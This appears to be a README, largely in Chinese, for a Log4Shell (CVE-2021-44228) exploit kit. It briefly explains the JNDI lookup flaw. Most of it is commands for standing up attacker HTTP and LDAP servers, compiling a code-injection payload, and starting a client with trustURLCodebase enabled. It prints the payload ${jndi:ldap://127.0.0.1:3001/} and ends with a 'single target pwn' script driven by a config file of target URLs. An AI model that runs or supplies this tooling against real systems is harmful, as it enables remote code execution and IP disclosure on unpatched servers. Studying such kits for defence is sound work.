这个基础漏洞由 [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) 报告,并由 [这篇文章(8u121 版本说明)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) 修复。
然而,名为 log4j2 的 Java 日志库存在 (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java),它允许访问 LDAP 等协议,从而在旧版 Java 中允许代码注入。
已打补丁的 Java 版本可以防止代码注入,但 `JNDILookup` 会向 ldap 服务器发起请求,从而导致 IP 泄露。
解决方案是更新 **Java** 和 **log4j2** 版本。
cd http-server && npm install && cd ../ldap-server && npm install
http-server 和 ldap-servercd http-server && node index.js &
cd ldap-server && node index.js
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
许可证见 LICENSE。